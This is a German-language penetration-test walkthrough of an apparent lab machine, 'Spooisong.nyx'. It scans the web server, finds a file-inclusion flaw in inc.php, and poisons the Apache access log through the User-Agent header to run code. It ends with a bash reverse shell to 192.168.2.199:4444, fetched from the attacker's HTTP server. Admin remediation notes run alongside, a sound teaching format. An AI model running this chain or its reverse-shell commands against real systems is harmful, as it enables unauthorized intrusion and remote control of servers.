Analyse: Der Penetrationstest beginnt mit der Identifizierung des Ziels im lokalen Netzwerk. Die Ziel-IP-Adresse wird als `192.168.2.108` angegeben. Ein ARP-Scan wird durchgeführt, um die MAC-Adresse zu dieser IP zu finden.
Bewertung: Der ARP-Scan (`arp-scan -l`, Befehl impliziert) findet die MAC-Adresse `08:00:27:60:ea:b9`, die `PCS Systemtechnik GmbH` zugeordnet ist, was häufig auf eine Oracle VirtualBox-VM hinweist. Das Zielsystem ist aktiv und erreichbar.
Empfehlung (Pentester): Ziel-IP und MAC sind bestätigt. Trage die IP-Adresse mit einem passenden Hostnamen in die `/etc/hosts`-Datei ein, um die weitere Arbeit zu erleichtern. Führe einen Portscan durch, um offene Dienste zu identifizieren.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, unautorisierte Scans zu erkennen. Stelle sicher, dass nur erwartete Geräte im Netzwerksegment aktiv sind.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.108
ARP-Scan
192.168.2.108 08:00:27:60:ea:b9 PCS Systemtechnik GmbH
Analyse: Die IP-Adresse `192.168.2.108` wird dem Hostnamen `Spooisong.nyx` in der lokalen `/etc/hosts`-Datei des Angreifersystems zugeordnet. Dies geschieht üblicherweise mit einem Texteditor wie `vi` oder `nano`.
Bewertung: Standardvorgehen, um die Zielmaschine über einen leichter merkbaren Namen anzusprechen. Dies vereinfacht die Syntax nachfolgender Befehle, insbesondere bei Web-Interaktionen.
Empfehlung (Pentester): Verwende ab jetzt den Hostnamen `Spooisong.nyx` für Scans und Zugriffsversuche.
Empfehlung (Admin): Keine direkte Aktion erforderlich, da dies eine lokale Konfiguration des Angreifers ist.
/etc/hosts
127.0.0.1 localhost
192.168.2.108 Spooisong.nyx
Analyse: Ein umfassender Nmap-Scan wird auf das Ziel `Spooisong.nyx` (192.168.2.108) durchgeführt. Die Optionen bedeuten: `-sS` (SYN-Scan, Stealth-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-A` (Aggressiver Scan: OS-Erkennung, Versionserkennung, Skript-Scan, Traceroute), `-p-` (alle 65535 TCP-Ports), `$IP` (ersetzt durch 192.168.2.108), `-Pn` (kein Ping-Scan, Host als online annehmen), `--min-rate 5000` (hohe Scan-Geschwindigkeit).
Bewertung: Der Scan identifiziert nur einen offenen Port: * Port 80/tcp: Läuft ein Apache Webserver (`Apache httpd 2.4.62`), Version `Debian`. * Nmap-Skripte liefern zusätzliche Informationen: * `http-robots.txt`: Findet eine `robots.txt`-Datei mit einem `Disallow`-Eintrag für `/kavin`. * `http-title`: Die Seite hat keinen Titel. * `http-server-header`: Bestätigt Apache 2.4.62 (Debian). * MAC-Adresse: Wird erneut als Oracle VirtualBox erkannt. * Betriebssystem: Nmap schätzt Linux Kernel 4.x/5.x. * Traceroute: Bestätigt, dass das Ziel nur einen Hop entfernt ist (lokales Netzwerk). Der einzige offene Port ist 80, was den Webserver zum primären Angriffsvektor macht.
Empfehlung (Pentester): Konzentriere dich auf den Webserver auf Port 80. Untersuche die `robots.txt` und das darin erwähnte Verzeichnis `/kavin`. Führe Web-Enumeration-Tools (Nikto, Gobuster, Wfuzz) aus, um Schwachstellen, Verzeichnisse und Dateien zu finden.
Empfehlung (Admin): Halte den Apache-Server und das Betriebssystem aktuell. Überprüfe die Apache-Konfiguration auf Sicherheit (unnötige Module deaktivieren, Sicherheitsheader setzen). Minimiere die in `robots.txt` preisgegebenen Informationen, wenn möglich. Schließe alle nicht benötigten Ports.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-13 19:23 CEST Nmap scan report for Spooisong.nyx (192.168.2.108) Host is up (0.00013s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 1 disallowed entry |_/kavin |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:60:EA:B9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms Spooisong.nyx (192.168.2.108) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 10.15 seconds
Analyse: Ein Nikto-Scan wird gegen den Webserver auf Port 80 gestartet (`nikto -h 192.168.2.108`, Befehl impliziert), um bekannte Webserver-Schwachstellen, Konfigurationsfehler und interessante Dateien zu identifizieren.
Bewertung: Nikto liefert mehrere interessante Ergebnisse: * Server: Bestätigt `Apache/2.4.62 (Debian)`. * Fehlende Header: `X-Frame-Options` (Clickjacking) und `X-Content-Type-Options` (MIME-Sniffing) fehlen, was auf mangelnde Härtung hindeutet. * `robots.txt`: Nikto weist darauf hin, dass der Eintrag `/kavin/` in `robots.txt` existiert und zugänglich ist (Status 200), was ungewöhnlich ist, da `Disallow`-Einträge normalerweise den Zugriff verbieten sollen (oder zumindest nicht direkt erreichbar sein sollten). Dies verstärkt den Fokus auf das Verzeichnis `/kavin`. * ETag Leak: Der Server könnte Inodes über ETags preisgeben (`CVE-2003-1418`), was in seltenen Fällen zur Informationsgewinnung genutzt werden kann. * Erlaubte Methoden: `GET`, `POST`, `OPTIONS`, `HEAD`. Keine gefährlichen Methoden wie `PUT` oder `DELETE` sind auf den ersten Blick aktiv.
Empfehlung (Pentester): Untersuche das Verzeichnis `/kavin` gründlich. Die fehlenden Sicherheitsheader sind Notizen wert, aber wahrscheinlich nicht direkt ausnutzbar. Die ETag-Schwachstelle ist meist von geringem Risiko. Führe Verzeichnis-Bruteforcing durch, um Inhalte innerhalb und außerhalb von `/kavin` zu finden.
Empfehlung (Admin): Implementiere die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`). Überprüfe die Konfiguration von `robots.txt`; `Disallow`-Einträge sollten idealerweise zu einem 403-Fehler führen, wenn direkt aufgerufen. Deaktiviere die ETag-Inode-Komponente in der Apache-Konfiguration (`FileETag MTime Size`).
Host Scan : - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.108 + Target Hostname: 192.168.2.108 + Target Port: 80 + Start Time: 2024-09-13 19:24:16 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '/kavin/' is returned a non-forbidden or redirect HTTP code (200). See: [Link: https://portswigger.net/kb/issues/00600600_robots-txt-file | Ziel: https://portswigger.net/kb/issues/00600600_robots-txt-file] + /robots.txt: contains 1 entry which should be manually viewed. See: [Link: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt | Ziel: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt] + /: Server may leak inodes via ETags, header found with file /, inode: bb, size: 62138bc241b3b, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8103 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-13 19:24:51 (GMT2) (35 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Inhalt der `robots.txt`-Datei wird abgerufen (vermutlich mit `curl http://spooisong.nyx/robots.txt`). Anschließend wird ein Gobuster-Scan gestartet, um Verzeichnisse und Dateien zu finden. Der Befehl zielt auf `http://192.168.2.108` mit einer Standard-Wortliste und vielen Dateiendungen.
Bewertung: Die `robots.txt` bestätigt den Eintrag `Disallow: /kavin`. Der Gobuster-Scan ist sehr erfolgreich und findet neben `index.html` und `robots.txt` eine ganze Reihe von Dateien und Verzeichnissen innerhalb von `/kavin`: * `index.php`, `contact.php`, `about.php`, `services.php`, `pricing.php`, `portfolio.php` (PHP-Dateien) * `img/`, `css/`, `js/`, `fonts/` (Verzeichnisse mit Ressourcen, geben 301 Redirect zurück) * `inc.php`: Eine PHP-Datei mit Größe 0. Leere Dateien können manchmal Platzhalter sein oder auf Include-Mechanismen hindeuten. Der Name "inc.php" legt nahe, dass diese Datei für das Einbinden anderer Dateien verwendet wird. Das Verzeichnis `/kavin` scheint eine vollständige Webanwendung oder ein Template zu enthalten.
Empfehlung (Pentester): Das Verzeichnis `/kavin` und insbesondere die Datei `inc.php` sind jetzt die Hauptziele. Untersuche die Funktionsweise von `inc.php`. Da sie Größe 0 hat, wird sie wahrscheinlich Parameter erwarten. Teste auf Local File Inclusion (LFI) und Remote File Inclusion (RFI) Schwachstellen, indem du versuchst, über einen Parameter (z.B. `?page=`, `?file=`, `?i=`) lokale oder entfernte Dateien einzubinden.
Empfehlung (Admin): Überprüfe den Code der Anwendung im Verzeichnis `/kavin`, insbesondere `inc.php`, auf Sicherheitslücken wie LFI/RFI. Stelle sicher, dass Benutzereingaben korrekt validiert und bereinigt werden, bevor sie zur Pfadkonstruktion verwendet werden.
Spooisong.nyx http://spooisong.nyx/robots.txt User-agent: * Disallow: /kavin
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.108 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,405,500 [+] User Agent: gobuster/3.6 [+] Extensions: c,py,config,tar,gz,pl,phtml,xlsx,dll,sh,exp,conf,xml,js.map,jpeg,jpg,pdf,db,mdb,pem,rtf,png,sql,html,bak,php,asp,aspx,exe,bat,ps1,zip,docx,doc,lib,crt,rar,kdbx,raw,elf,diff,svg,java,pHtml,mod,csv,accdb,cgi,csh,deb,desc,eps,icon,ln,old,rpm,pub,xls,txt,ELF,json [+] Expanded: true [+] Ignore SSL error: true [+] Timeout: 10s =============================================================== 2024/09/13 19:25:10 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 187] /robots.txt (Status: 200) [Size: 31] /kavin (Status: 301) [Size: 319] [--> http://192.168.2.108/kavin/] =============================================================== 2024/09/13 19:26:25 Finished ===============================================================
http://spooisong.nyx//kavin/index.php (Status: 200) [Size: 13549] http://spooisong.nyx//kavin/contact.php (Status: 200) [Size: 8450] http://spooisong.nyx//kavin/about.php (Status: 200) [Size: 13669] http://spooisong.nyx//kavin/img (Status: 301) [Size: 318] [--> http://spooisong.nyx/kavin/img/] http://spooisong.nyx//kavin/services.php (Status: 200) [Size: 9595] http://spooisong.nyx//kavin/css (Status: 301) [Size: 318] [--> http://spooisong.nyx/kavin/css/] http://spooisong.nyx//kavin/pricing.php (Status: 200) [Size: 8583] http://spooisong.nyx//kavin/portfolio.php (Status: 200) [Size: 10545] http://spooisong.nyx//kavin/js (Status: 301) [Size: 317] [--> http://spooisong.nyx/kavin/js/] http://spooisong.nyx//kavin/inc.php (Status: 200) [Size: 0] http://spooisong.nyx//kavin/fonts (Status: 301) [Size: 320] [--> http://spooisong.nyx/kavin/fonts/]
Analyse: Es wird ein manueller HTTP GET-Request an `http://spooisong.nyx/kavin/inc.php?i=about` gesendet. Der Parameter `i` wird hier eingeführt, vermutlich basierend auf der Vermutung, dass `inc.php` einen Include-Parameter verwendet. Der Wert `about` wird getestet, wahrscheinlich in Anlehnung an die gefundene `about.php`.
Bewertung: Der Server antwortet mit Status `200 OK`. Dies ist ein starker Hinweis darauf, dass der Parameter `i` tatsächlich von `inc.php` verwendet wird, um Inhalte (wahrscheinlich PHP-Dateien wie `about.php`) einzubinden. Dies bestätigt die Vermutung einer Include-Funktionalität und eröffnet die Möglichkeit einer Local File Inclusion (LFI) Schwachstelle.
Empfehlung (Pentester): Die LFI-Hypothese ist sehr wahrscheinlich. Fuzzing des `i`-Parameters mit verschiedenen Payloads ist der nächste logische Schritt. Versuche, bekannte lokale Dateien einzubinden (z.B. `/etc/passwd`, `/etc/hosts`, Konfigurationsdateien, Logdateien). Verwende Tools wie `wfuzz` mit LFI-Wortlisten.
Empfehlung (Admin): Überprüfe dringend den Code von `inc.php`. Implementiere eine Whitelist für erlaubte Include-Werte statt einer Blacklist. Stelle sicher, dass Benutzereingaben (wie der Parameter `i`) niemals direkt zur Konstruktion von Dateipfaden verwendet werden, ohne sie vorher rigoros zu validieren und zu bereinigen.
GET http://spooisong.nyx/kavin/inc.php?i=about
Status 200 OK
Version HTTP/1.1
Date Fri, 13 Sep 2024 19:28:00 GMT
server Apache/2.4.62 (Debian)
Vary Accept-Encoding
Content-Type text/html; charset=UTF-8
# Request Header:
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding gzip, deflate
Accept-Language en-US,en;q=0.5
Connection keep-alive
Host spooisong.nyx
Referer http://spooisong.nyx/kavin/
Upgrade-Insecure-Requests 1
User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Analyse: Basierend auf der vermuteten LFI-Schwachstelle wird `wfuzz` verwendet, um gezielt nach lesbaren Dateien zu suchen. Es werden verschiedene Wortlisten (`logfiles.txt`, `LFI-gracefulsecurity-linux.txt`, `LFI-Jhaddix.txt`) gegen den Parameter `i` in der URL `http://spooisong.nyx/kavin/inc.php?i=FUZZ` getestet. `-c` aktiviert Farben, `-w` gibt die Wortliste an, `-u` die Ziel-URL mit dem Fuzzing-Marker `FUZZ`, `--hc 404` versteckt 404-Fehler und `--hh 0` versteckt Antworten mit 0 Zeichen.
Bewertung: Die `wfuzz`-Scans sind erfolgreich und identifizieren mehrere lesbare Dateien über die LFI-Schwachstelle: * `/etc/security/group` * `/etc/security/limits` * `/etc/apache2/sites-enabled/000-default` (Apache VHost-Konfiguration) * `/etc/apache2/sites-available/default-ssl` (Apache SSL VHost-Konfiguration) Der Fund der Apache-Konfigurationsdateien ist besonders wertvoll, da diese oft Pfade zu Logdateien oder andere sensible Informationen enthalten.
Empfehlung (Pentester): Lies den Inhalt der gefundenen Konfigurationsdateien (`/etc/apache2/sites-enabled/000-default` und `default-ssl`) mit `curl` oder im Browser über die LFI aus. Suche nach Pfaden zu Logdateien (`ErrorLog`, `CustomLog`), da diese oft für Log Poisoning (Einschleusen von PHP-Code in Logs und Ausführung über LFI) missbraucht werden können.
Empfehlung (Admin): Die LFI-Schwachstelle muss dringend behoben werden (siehe vorherige Empfehlung). Beschränke die Leserechte des Webserver-Benutzers (`www-data`) auf das absolut Notwendige, um den Zugriff auf Systemdateien zu minimieren.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://spooisong.nyx/kavin/inc.php?i=FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001109: 200 106 L 663 W 3635 Ch "/etc/security/group" 000001113: 200 67 L 447 W 2752 Ch "/etc/security/limits" 000001306: 200 29 L 189 W 1290 Ch "/etc/apache2/sites-enabled/000-default" Total time: 0 Processed Requests: 2894 Filtered Requests: 2891 Requests/sec.: 0
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://spooisong.nyx/kavin/inc.php?i=FUZZ Total requests: 880 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000296: 200 130 L 854 W 6195 Ch "/etc/apache2/sites-available/default-ssl" 000000297: 200 29 L 189 W 1290 Ch "/etc/apache2/sites-enabled/000-default" 000000425: 200 106 L 663 W 3635 Ch "/etc/security/group" 000000428: 200 67 L 447 W 2752 Ch "/etc/security/limits" Total time: 0 Processed Requests: 880 Filtered Requests: 876 Requests/sec.: 0
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://spooisong.nyx/kavin/inc.php?i=FUZZ Total requests: 922 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000398: 200 106 L 663 W 3635 Ch "/etc/security/group" 000000400: 200 67 L 447 W 2752 Ch "/etc/security/limits" Total time: 0.617728 Processed Requests: 922 Filtered Requests: 920 Requests/sec.: 1492.564
Analyse: Der Inhalt der Apache VHost-Konfigurationsdatei `/etc/apache2/sites-enabled/000-default` wird mittels der LFI-Schwachstelle und `curl` ausgelesen.
Bewertung: Die Konfiguration wird erfolgreich angezeigt. Die entscheidenden Zeilen sind: * `DocumentRoot /var/www/html` * `ErrorLog /var/www/kavin-logs/error.log` * `CustomLog /var/www/kavin-logs/access.log combined` Dies bestätigt die Pfade zu den Apache-Logdateien. Insbesondere die `access.log` ist interessant für Log Poisoning, da der User-Agent-String oft in dieser Datei protokolliert wird.
Empfehlung (Pentester): Versuche, die gefundenen Logdateien `/var/www/kavin-logs/access.log` und `error.log` über die LFI zu lesen. Wenn dies gelingt, versuche Log Poisoning: Sende einen HTTP-Request mit einem PHP-Code-Payload (z.B. ``) im User-Agent-Header. Lese anschließend die `access.log` erneut über die LFI aus. Wenn der PHP-Code interpretiert wird, sollte die Ausgabe des `id`-Befehls im Response erscheinen.
Empfehlung (Admin): Behebe die LFI-Schwachstelle. Beschränke die Leserechte des Webserver-Benutzers auf die Logdateien. Konfiguriere Apache so, dass sensible Informationen (wie PHP-Code) nicht in den Logs interpretiert werden (obwohl dies primär durch die LFI ermöglicht wird).
# The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog /var/www/kavin-logs/error.log CustomLog /var/www/kavin-logs/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf
Analyse: Es wird versucht, die Logdateien (`access.log`, `error.log`) und den Quellcode von `inc.php` sowie `index.php` mittels LFI und dem `php://filter`-Wrapper (Base64-kodiert) auszulesen. Schließlich wird versucht, die `access.log` direkt ohne `.log`-Endung zu lesen.
Bewertung: Die Versuche, `access.log` und `error.log` direkt mit Pfad zu lesen, scheitern (leere Ausgabe). Die Versuche, PHP-Dateien mit `php://filter` zu lesen, scheitern ebenfalls (leere Ausgabe). Der Versuch, `/var/www/kavin-logs/access` (ohne `.log`) zu lesen, ist jedoch erfolgreich und zeigt Logeinträge an. Es scheint, dass die LFI-Implementierung die Dateiendung `.log` abschneidet oder ignoriert, aber der Zugriff auf die Logdatei unter dem Namen `access` möglich ist.
Empfehlung (Pentester): Nutze die LFI-URL `http://spooisong.nyx/kavin/inc.php?i=/var/www/kavin-logs/access` für das Log Poisoning. Sende einen Request mit PHP-Payload im User-Agent und rufe dann diese URL auf, um die Codeausführung zu überprüfen.
Empfehlung (Admin): Die LFI-Schwachstelle muss dringend behoben werden. Die Tatsache, dass Dateiendungen manipuliert oder ignoriert werden, unterstreicht die Gefahr unsicherer Include-Implementierungen.
192.168.2.199 - - [13/Sep/2024:23:33:31 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access.log HTTP/1.1" 200 147 "-" "curl/8.8.0"
ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key SSLOptions +StdEnvVars SSLOptions +StdEnvVars
Analyse: Es wird ein Log-Poisoning-Versuch unternommen. Ein `curl`-Request wird an die LFI-URL (`...inc.php?i=/var/www/kavin-logs/access`) gesendet. Entscheidend ist der `-H` Parameter, der einen manipulierten User-Agent-Header setzt: `User-Agent: `. Dieser PHP-Code soll in die Logdatei geschrieben werden.
Bewertung: Der `curl`-Befehl selbst zeigt nur die vorhandenen Logeinträge an, nicht das Ergebnis der Codeausführung. Der Test, ob das Poisoning funktioniert hat, muss durch einen separaten Aufruf der LFI-URL im Browser oder mit einem anderen Tool wie Burp Suite erfolgen, bei dem die Antwort des Servers analysiert wird. Der Befehl wird hier zweimal ausgeführt, was keinen Unterschied macht, außer dass der bösartige User-Agent nun zweimal im Log steht.
Empfehlung (Pentester): Sende den Poisoning-Request (wie gezeigt) und rufe DANN die URL `http://spooisong.nyx/kavin/inc.php?i=/var/www/kavin-logs/access` in einem Browser oder mit Burp Suite auf. Untersuche die Server-Antwort. Wenn das Log Poisoning erfolgreich war, sollte die Ausgabe von `id` (z.B. `uid=33(www-data)...`) im HTML-Body der Antwort sichtbar sein. Wenn ja, ersetze `"id"` durch einen Befehl für eine Reverse Shell.
Empfehlung (Admin): LFI beheben! Dies ist der kritischste Schritt. Input-Validierung und sichere Programmierpraktiken sind essenziell.
192.168.2.199 - - [13/Sep/2024:23:33:31 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access.log HTTP/1.1" 200 147 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:33:32 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 309 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:30 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 440 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:43 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/error HTTP/1.1" 200 149 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:46 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 701 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:37:31 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 832 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:04 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 964 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:33 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1095 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:46 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1228 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:56 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1361 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:39:30 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1494 "-" ""
192.168.2.199 - - [13/Sep/2024:23:33:31 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access.log HTTP/1.1" 200 147 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:33:32 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 309 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:30 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 440 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:43 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/error HTTP/1.1" 200 149 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:35:46 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 701 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:37:31 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 832 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:04 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 964 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:33 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1095 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:46 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1228 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:38:56 +0200] "POST /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1361 "-" "curl/8.8.0"
192.168.2.199 - - [13/Sep/2024:23:39:30 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1494 "-" ""
192.168.2.199 - - [13/Sep/2024:23:40:05 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 1756 "-" ""
Analyse: Die Ausnutzung der LFI und des Log Poisoning wird nun mit Burp Suite (einem Intercepting Proxy) durchgeführt und verifiziert. Ein GET-Request wird an `/kavin/inc.php?i=/var/www/kavin-logs/access` gesendet, wobei der User-Agent auf `` gesetzt ist.
Bewertung: Die Server-Antwort (Response) zeigt den entscheidenden Beweis: Am Ende der Log-Ausgabe steht jetzt `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies ist die Ausgabe des `id`-Befehls, der durch den eingeschleusten PHP-Code im User-Agent ausgeführt wurde. Remote Code Execution (RCE) als Benutzer `www-data` ist somit erfolgreich bestätigt.
Empfehlung (Pentester): RCE ist erreicht! Ersetze `id` im User-Agent durch einen Befehl, der eine Reverse Shell startet (z.B. `bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'`). Starte einen Netcat-Listener auf deinem System (`nc -lvnp YOUR_PORT`) und sende den präparierten Request erneut. Du solltest eine Shell als `www-data` erhalten.
Empfehlung (Admin): Höchste Priorität: LFI-Schwachstelle sofort beheben! Untersuche das System auf weitere Kompromittierungen oder Hintertüren, die durch die RCE platziert worden sein könnten.
Burpsuite Request: GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1 Host: spooisong.nyx User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Date: Fri, 13 Sep 2024 21:44:55 GMT Server: Apache/2.4.62 (Debian) Vary: Accept-Encoding Content-Length: 178 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 192.168.2.199 - - [13/Sep/2024:23:44:51 +0200] "GET //kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 205 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
Analyse: Ein Bash-Skript (`m`) wird auf dem Angreifersystem erstellt, das eine Reverse Shell zu `192.168.2.199` auf Port `4444` aufbaut. Ein Python-Webserver wird auf Port 80 gestartet, um dieses Skript bereitzustellen. Ein Netcat-Listener wird auf Port 4444 gestartet. Schließlich wird über Burp Suite (oder curl) der Log-Poisoning-Request erneut gesendet, diesmal mit einem Payload, der das Skript `m` herunterlädt und ausführt: `User-Agent: `.
Bewertung: Der Angriff ist erfolgreich. Der Python-Webserver loggt den GET-Request für `/m`. Der Netcat-Listener empfängt die eingehende Verbindung (`connect to [192.168.2.199] from (UNKNOWN) [192.168.2.108] 51748`). Eine interaktive Shell als Benutzer `www-data` wurde erfolgreich etabliert.
Empfehlung (Pentester): Du hast eine Shell als `www-data`. Stabilisiere die Shell (z.B. mit Python pty, `stty raw -echo; fg`). Beginne mit der Enumeration aus der Sicht von `www-data`: Suche nach Konfigurationsdateien, Passwörtern, Skripten, prüfe `sudo -l`, suche nach SUID/GUID-Dateien, Kernel-Version etc., um einen Weg zur Privilegienerweiterung zu finden.
Empfehlung (Admin): LFI beheben! Überwache ausgehende Verbindungen (Egress Filtering). Untersuche die Apache-Logs und Systemlogs, um den Angriff nachzuvollziehen.
#!/bin/bash
bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
listening on [any] 4444 ...
GET //kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1
Host: spooisong.nyx
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.108] 51748 bash: cannot set terminal process group (469): Inappropriate ioctl for device bash: no job control in this shell www-data@spooisong:/var/www/html/kavin$
